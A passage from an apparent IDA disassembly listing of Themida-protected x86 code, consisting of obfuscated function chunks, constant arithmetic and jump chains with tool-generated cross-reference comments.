		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58ADF2:				; CODE XREF: sub_58C17E-689j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		jmp	loc_58C320
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58AE07:				; CODE XREF: Themida_:00597336j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		push	45F6h
		mov	[esp], ebp
		mov	ebp, 605B1385h
		jmp	loc_58DCF2
; ---------------------------------------------------------------------------


loc_58AE21:				; CODE XREF: Themida_:005933E1j
		sub	edi, esi
		add	edi, 46945948h
		mov	esi, [esp]
		add	esp, 4
		add	eax, edi
		pop	edi
		jmp	loc_58DD0B
; ---------------------------------------------------------------------------


loc_58AE3A:				; CODE XREF: Themida_:0059705Dj
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58D8F2
; ---------------------------------------------------------------------------


loc_58AE49:				; CODE XREF: Themida_:00597EDEj
		push	esi
		push	ebp
		mov	ebp, 30444E37h
		mov	esi, ebp
		pop	ebp
		push	0
		sub	[esp], esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebp
		mov	ebp, 52AA3920h
		add	esi, ebp
		pop	ebp
		add	esi, 73B8716Ch
		add	esi, 635A2974h
		jmp	loc_58C8EE
; ---------------------------------------------------------------------------


loc_58AE7F:				; CODE XREF: Themida_:005933EAj
		pop	ecx
		mov	[edi+eax*4+1], dl
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58AE90:				; CODE XREF: Themida_:005928F9j
		pop	ebp
		pop	eax
		add	eax, 4
		jmp	loc_58E931
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58AE9C:				; CODE XREF: sub_590467+1656j
		mov	ebx, [esp+0]
		add	esp, 4
		xchg	eax, [esp-6+arg_0+2]
		mov	esp, [esp-6+arg_0+2]
		movzx	ecx, ax
		push	21BFh
		mov	[esp+0], ecx
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_58AEB8:				; CODE XREF: Themida_:00592AFBj
		dec	eax
		sub	eax, 48BA463Dh
		shr	eax, 5
		dec	eax
		add	eax, 20095B11h
		add	eax, 309DB1ABh
		mov	edi, eax
		jmp	loc_5943EB
; ---------------------------------------------------------------------------


loc_58AED3:				; CODE XREF: Themida_:005905F4j
		push	ebx
		mov	ebx, 10E9529Ch
		shl	ebx, 4
		jz	loc_5975D9
		push	edx
		mov	edx, 1D286027h
		shr	edx, 2
		neg	edx
		push	ecx
		mov	ecx, 345C4EB3h
		add	edx, ecx
		pop	ecx
		shr	edx, 1
		neg	edx
		sub	edx, 0A786B5D2h
		and	ebx, edx
		pop	edx
		shl	ebx, 4
		push	esi
		mov	esi, 77CD8E05h
		xor	ebx, esi
		pop	esi
		push	ebp
		mov	ebp, ebx
		mov	eax, ebp
		pop	ebp
		jmp	loc_58BB1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58AF1A:				; CODE XREF: sub_58F5B5+2968j
		pop	esp
		mov	[esp+4+var_4], ebx
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		mov	cl, 6Bh
		mov	bh, cl
		jmp	loc_595E4C
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58AF30:				; CODE XREF: Themida_:00590067j
		pop	esi
		mov	ecx, eax
		pop	eax
		sub	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_58AAFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_58AF3E:				; CODE XREF: sub_590B70+330j
		xor	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		add	esp, 4
		push	ebp
		mov	ebp, 50247E69h
		push	ebx
		mov	ebx, 345E6392h
		dec	ebx
		xor	ebx, 417867F5h
		push	ebp
		jmp	loc_5978F6
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_58AF7B:				; CODE XREF: sub_5919E2-2AC3j
		add	esp, 4
		pop	small word ptr [eax]
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------


loc_58AF86:				; CODE XREF: Themida_:00595F96j
		sub	esi, 0E29FBBBAh
		mov	edi, esi
		pop	esi
		and	edi, 2EE56FF4h
		js	loc_58A696
		or	edi, 0FD37D82h
		push	5FA6h
		mov	[esp], edx
		mov	edx, 17CC394Eh
		and	edx, 25F72DA4h
		sub	edx, 0CC1518B2h
		jmp	loc_595167
; ---------------------------------------------------------------------------


loc_58AFBF:				; CODE XREF: Themida_:0058A2E3j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_58AFD0:				; CODE XREF: sub_59524C+2D53j
		add	ebx, 26473568h
		jmp	loc_58F7ED
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58AFDB:				; CODE XREF: sub_5916C4-E7Aj
		mov	bl, 0A9h
		jmp	loc_58D919
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_58AFE2:				; CODE XREF: sub_595123-812Fj
		push	[esp+4+var_4]
		jmp	loc_59653F
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5966C1


loc_58AFEA:				; CODE XREF: sub_5966C1+BF6j
		bt	[esp+0], ax
		pushf
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5966C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58AFF5:				; CODE XREF: sub_5938B9+3450j
		mov	ecx, 0A08ED1AFh
		sub	ecx, esi
		pop	esi
		push	ebp
		mov	ebp, 2ABD5B43h
		mov	esi, ebp
		jmp	loc_59178F
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58B00A:				; CODE XREF: sub_5EC2E8-56811j
		mov	ecx, esi
		mov	esi, [esp+24h+var_24]
		jmp	loc_58D0BC
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_58B109
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5942E3


loc_58B01C:				; CODE XREF: sub_5942E3-3569j
		mov	[esp+0], esi
		jmp	loc_59033C
; END OF FUNCTION CHUNK	FOR sub_5942E3
; ---------------------------------------------------------------------------
		push	small 2C3Dh
		push	small 658Eh
		mov	[esp], sp
		push	small 705Bh
		mov	[esp], cx
		push	dx
		jmp	loc_595E67

; =============== S U B	R O U T	I N E =======================================



sub_58B03F	proc near		; CODE XREF: sub_5916CB+3CE3j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0058F51B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00597577 SIZE 00000008 BYTES

		push	ebx
		push	esi
		jmp	loc_58F51B
sub_58B03F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58B046:				; CODE XREF: sub_58C17E+5EE4j
		sub	esi, 15C7E415h
		jmp	loc_591E27
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58B051:				; CODE XREF: Themida_:00596819j
		xor	esi, [esp]
		jmp	loc_595B3C
; ---------------------------------------------------------------------------


loc_58B059:				; CODE XREF: Themida_:0058C0C8j
		push	eax
		mov	eax, 8E65188h
		push	ecx
		mov	ecx, 1CDC6C4Fh
		xor	ecx, 1073469Ch
		jmp	loc_58C18A
; ---------------------------------------------------------------------------


loc_58B070:				; CODE XREF: Themida_:005927FFj
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_58BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58B085:				; CODE XREF: sub_5EC2E8-5DDE6j
		mov	edx, ecx
		pop	ecx
		add	edx, 0E36DF7FAh
		add	ebx, edx
		jmp	loc_58F748
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58B095:				; CODE XREF: sub_58C17E+8A6j
		js	loc_59203B
		inc	ecx
		jg	loc_5945E0
		shl	ecx, 6
		jmp	loc_58AD2E
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58B0AA:				; CODE XREF: sub_590467+3A1j
		push	6B68h
		mov	[esp+0], esi
		push	esp
		jmp	loc_58F0C2
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58B0B8:				; CODE XREF: sub_5916CB+5CE9j
		add	esp, 4
		or	edi, 72974E0Ah
		push	ecx
		mov	ecx, 4D383F75h
		or	ecx, 32E01353h
		xor	ecx, 70B47000h
		xor	edi, ecx
		jmp	loc_5959A4
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_58B0DA:				; CODE XREF: Themida_:00593688j
		sub	al, 0A2h
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ch, 9Dh
		sub	al, ch
		push	dword ptr [esp]
		pop	ecx
		push	esi
		sub	esp, 4
		mov	[esp], esp
		push	eax
		mov	eax, 4
		sub	dword ptr [esp+4], 26836A92h
		add	[esp+4], eax
		jmp	loc_58ACEE
; ---------------------------------------------------------------------------


loc_58B109:				; CODE XREF: Themida_:0058B017j
		mov	[esp], edi
		jmp	loc_58F93E
; ---------------------------------------------------------------------------


loc_58B111:				; CODE XREF: Themida_:0058D5D5j
		xor	dword ptr [esp], 6EC6244Dh
		jmp	loc_58CA9A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_591B35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58B128:				; CODE XREF: sub_590467-658j
		push	40D37A09h
		jmp	loc_597FCA
; ---------------------------------------------------------------------------


loc_58B132:				; CODE XREF: sub_590467+273Dj
		xor	ebp, 707872DFh
		xor	ebp, 7A46618Ch
		add	esi, ebp
		pop	ebp
		jmp	loc_591453
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_58B146:				; CODE XREF: sub_590B70+6D9Aj
		push	eax
		mov	eax, 7B8E27D0h
		shl	eax, 8
		jmp	loc_58D946
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594FD6


loc_58B154:				; CODE XREF: sub_594FD6-348Ej
		pop	eax
		mov	ecx, [esp+10h+var_10]
		jmp	loc_58ECCD
; END OF FUNCTION CHUNK	FOR sub_594FD6
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	6F3Dh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_594BC8
; ---------------------------------------------------------------------------


loc_58B185:				; CODE XREF: Themida_:0058FEDFj
					; Themida_:00592C6Bj
		add	edi, 2
		jmp	loc_591506
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58B190:				; CODE XREF: sub_58C17E-BC1j
		dec	esi
		add	esi, 6AFA2F86h
		add	esi, 5434DBB6h
		sub	edx, esi
		pop	esi
		mov	ecx, [esp+0]
		add	esp, 4
		mov	dword ptr [edi+20h], 3EDF178Bh
		xor	[edi+20h], edx
		mov	edx, [esp-4+arg_0]
		jmp	sub_58D0EB
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591059


loc_58B1B8:				; CODE XREF: sub_591059-5992j
		add	eax, ebx
		jmp	loc_58DB81
; END OF FUNCTION CHUNK	FOR sub_591059
; ---------------------------------------------------------------------------


loc_58B1BF:				; CODE XREF: Themida_:0058AC45j
					; Themida_:005956F3j
		pop	esi
		jmp	loc_59600C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58B1C5:				; CODE XREF: sub_58F5B5+74Fj
		shr	ecx, 2
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58E378
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E3A6


loc_58B1D5:				; CODE XREF: sub_58E3A6+9j
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		pop	[esp-4+arg_0]
		mov	esp, [esp-8+arg_4]
		add	edx, 169B1BB5h
		push	edi
		mov	edi, 55F74DD2h
		or	edi, 5C76E09h
		and	edi, 2BFC7562h
		add	edi, 47B67286h
		jmp	loc_58CC4B
; END OF FUNCTION CHUNK	FOR sub_58E3A6
; ---------------------------------------------------------------------------


loc_58B205:				; CODE XREF: Themida_:005904E1j
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		push	edi
		jmp	loc_58C0F9
; ---------------------------------------------------------------------------


loc_58B21A:				; CODE XREF: Themida_:0059464Fj
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58DA90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_58B22C:				; CODE XREF: sub_595BDA:loc_593E3Fj
		not	esi
		or	esi, 395B5D5Eh
		jmp	loc_597D69
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_58B239:				; CODE XREF: sub_595E21-8B39j
		xor	eax, ebp
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_591237
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5921D8


loc_58B249:				; CODE XREF: sub_5921D8+1A5Bj
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		mov	ebx, [esp+0]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ebx
		xor	ebx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5921D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58B27B:				; CODE XREF: sub_5916C4+612j
		neg	ebx
		or	ebx, 4C66237h
		and	ebx, 19001798h
		xor	ebx, 100121Ah
		sub	edi, ebx
		pop	ebx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	[esp+4+var_4]
		pop	esp
		mov	word ptr [esp-4+arg_0],	cx
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58B2A5:				; CODE XREF: Themida_:00591BEFj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58B2B6:				; CODE XREF: Themida_:0059448Bj
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58B2C6:				; CODE XREF: sub_58F5B5+5061j
		pop	eax
		xchg	esi, [esp+8+var_8]
		jmp	loc_596737
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592857


loc_58B2CF:				; CODE XREF: sub_592857+442Bj
		add	[esp+10h+var_8], ebx
		pop	ebx
		sub	[esp+0Ch+var_8], 325B6517h
		sub	[esp+0Ch+var_8], ecx
		add	[esp+0Ch+var_8], 325B6517h
		sub	[esp+0Ch+var_8], 675C3153h
		jmp	loc_58A9A0
; END OF FUNCTION CHUNK	FOR sub_592857
; ---------------------------------------------------------------------------


loc_58B2F5:				; CODE XREF: Themida_:00593BCEj
		pop	ax
		jmp	loc_58AB46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58B2FC:				; CODE XREF: sub_58F5B5-16B9j
		mov	[esp+8+var_8], esi
		mov	eax, [esp+8+var_8]
		add	esp, 4
		push	[esp+4+var_4]
		mov	esi, [esp+8+var_8]
		add	esp, 4
		add	esp, 4
		not	esi
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	loc_58F693
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_58B321:				; CODE XREF: sub_595123-7C89j
					; sub_595123-66F1j ...
		push	dword ptr [edi+24h]
		push	[esp+4+var_4]
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 6701359Ch
		inc	edi
		shl	edi, 1
		xor	edi, 6DB763B2h
		push	edx
		mov	edx, 7BF93838h
		xor	edx, 59A96F21h
		shl	edx, 7
		sub	edx, 847683F4h
		xor	edi, edx
		pop	edx
		add	edx, 616A2719h
		jmp	loc_594675
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58B365:				; CODE XREF: sub_590467-48C5j
		inc	ebp
		not	ebp
		inc	ebp
		jg	loc_595411
		inc	ebp
		jo	loc_592150
		jmp	loc_597974
; ---------------------------------------------------------------------------


loc_58B37B:				; CODE XREF: sub_590467-2A23j
		and	bh, 8
		jmp	loc_596A1D
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_58B383:				; CODE XREF: Themida_:005965E2j
		mov	eax, [esp]
		add	esp, 4
		pop	esi
		add	esi, 4
		jmp	loc_595B1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58B398:				; CODE XREF: sub_5938B9+3C02j
		mov	[esp+0], edx
		not	dword ptr [esp+0]
		pop	edx
		jmp	loc_59047B
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594654


loc_58B3A4:				; CODE XREF: sub_594654-7CB3j
		mov	ax, [esp+0]
		push	ebp
		push	3700h
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		jmp	loc_59346E
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58B3BD:				; CODE XREF: sub_5916C4-2E5Fj
		xor	[esp-4+arg_0], ebx
		xor	ebx, [esp-4+arg_0]
		pop	esp
		push	ebp
		jmp	loc_58CD63
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_58B3CA:				; CODE XREF: sub_58B4D6-772j
		mov	[esp+8+var_8], esp
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		mov	eax, 21421DB6h
		inc	eax
		jns	loc_58D739
		xor	eax, 21421DB3h
		add	[esp+0Ch+var_8], eax
		pop	edi


loc_58B3E9:				; CODE XREF: Themida_:0058C8FFj
		sub	eax, ebx
		jmp	loc_596325
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58B3F0:				; CODE XREF: sub_5916C4+5C2Fj
		jmp	loc_590363
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58B3F5:				; CODE XREF: sub_58F5B5:loc_597CC8j
		jmp	loc_58FE39
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58B3FA:				; CODE XREF: sub_590467+751Fj
		xchg	esi, ebp
		inc	esi
		xor	ebp, esi
		xor	esi, ebp
		xor	ebp, esi
		push	ebx
		mov	ebx, 0A49ACF6Dh
		sub	ebp, ebx
		mov	ebx, [esp+0Ah+var_A]
		add	esp, 4
		and	eax, ebp
		push	[esp+6+var_6]
		jmp	loc_58E06E
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_58B41B:				; CODE XREF: Themida_:0058AD80j
		add	esi, 0AFFB5910h
		jmp	loc_58F65B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58B426:				; CODE XREF: sub_590010-1529j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-8+arg_4]
		pop	esp
		push	ebp
		mov	ebp, 2
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp-0Ch+arg_8]
		pop	esp
		idiv	cx
		jmp	loc_5916A2
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F091


loc_58B44B:				; CODE XREF: sub_58F091-261Ej
		mov	[esp+0Ch+var_C], eax
		push	edx
		mov	edx, 522D2B67h
		push	ebp
		mov	ebp, 502B22A5h
		sub	ebp, 131A2D21h
		xor	ebp, 55B6382h
		add	ebp, 4DDCAD47h
		sub	edx, 7C1C1E4Ch
		sub	edx, 1DD55839h
		sub	edx, ebp
		add	edx, 1DD55839h
		add	edx, 7C1C1E4Ch
		pop	ebp
		mov	eax, edx
		pop	edx
		xor	edi, eax
		pop	eax
		jmp	loc_5902C7
; END OF FUNCTION CHUNK	FOR sub_58F091
; ---------------------------------------------------------------------------


loc_58B492:				; CODE XREF: Themida_:0058EA7Aj
		push	edx
		push	edi
		jmp	loc_59400B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58B499:				; CODE XREF: sub_58C17E+B66Fj
		mov	dl, 30h
		add	dl, 1
		add	dl, 0FFh
		push	cx
		mov	ch, 0F8h
		sub	dl, ch
		mov	cx, [esp+0]
		add	esp, 2
		sub	al, 0EAh
		add	al, dl
		push	ebx
		jmp	loc_58C5FB
; ---------------------------------------------------------------------------


loc_58B4BB:				; CODE XREF: sub_58C17E+15F4j
		push	ecx
		mov	ch, 0D3h
		xor	al, ch
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5919CC
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58B4CE:				; CODE XREF: sub_590467+5231j
		pop	ebx
		sub	edi, esi
		jmp	loc_58F9E1
; END OF FUNCTION CHUNK	FOR sub_590467

; =============== S U B	R O U T	I N E =======================================



sub_58B4D6	proc near		; CODE XREF: sub_592D12-5FE8j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058AD5E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B3CA SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058C5BE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058D2B6 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058D739 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0058DF0C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058E0E0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E21B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E8F1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058EBFE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058EF5A SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0058F293 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059094E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00590A68 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005910F4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591970 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00591F71 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00592349 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059242F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00593136 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005931A2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00593969 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00594CC1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00594DE0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596086 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059618F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00596325 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059658E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00596B2F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00597DA6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00597E05 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, 14ED13B8h
		inc	ebp
		jmp	loc_59618F
sub_58B4D6	endp

; ---------------------------------------------------------------------------


loc_58B4E2:				; CODE XREF: Themida_:00596E3Ej
		push	edx
		jmp	loc_59359D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58B4E8:				; CODE XREF: sub_58C17E+ADC5j
		sub	edi, 6A6A1FC9h
		jmp	loc_592033
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
byte_58B4F3	db 89h			; CODE XREF: Themida_:00597C3Dj
; ---------------------------------------------------------------------------
		and	al, 24h
		jmp	loc_58FB14
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_58B4FB:				; CODE XREF: sub_5919E2-1720j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_590B96
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------


loc_58B509:				; CODE XREF: Themida_:005932EAj
		pop	edx
		add	edi, 4
		jmp	loc_594CB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_58B512:				; CODE XREF: sub_590B70+501Dj
		sub	eax, 4F01671Bh
		pop	edx
		mov	edi, eax
		jmp	loc_591B9A
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58B51F:				; CODE XREF: sub_590010+47FDj
		mov	eax, 39A21CB1h
		jmp	loc_59165A
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58B529:				; CODE XREF: Themida_:00597917j
		pop	ebx
		neg	ecx
		jmp	loc_58F18B
; ---------------------------------------------------------------------------


loc_58B531:				; CODE XREF: Themida_:00591FF0j
		push	788Eh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_592FB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58B549:				; CODE XREF: sub_5938B9-6020j
		inc	ebx
		not	ebx
		xor	ebx, 72707595h
		not	ebx
		shl	ebx, 1
		sub	ebx, 0BF369E06h
		and	edx, ebx
		pop	ebx
		not	edx
		jmp	loc_591B3D
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_58B566:				; CODE XREF: Themida_:0058B671j
		pop	edx
		mov	ah, bh
		pop	bx
		sub	ah, 0F7h
		jmp	loc_5966DC
; ---------------------------------------------------------------------------


loc_58B573:				; CODE XREF: Themida_:00595DE5j
		add	edi, 0EF1111A4h
		mov	ebx, edi
		pop	edi
		or	edi, ebx
		jmp	loc_5915D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58B583:				; CODE XREF: sub_58F5B5+1805j
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_58D434
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58B58C:				; CODE XREF: Themida_:0058FB54j
		push	6972h
		jmp	loc_593D9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_58B596:				; CODE XREF: sub_595258-33CCj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+8+var_8]
		xor	[esp+8+var_8], edi
		jmp	loc_59183E
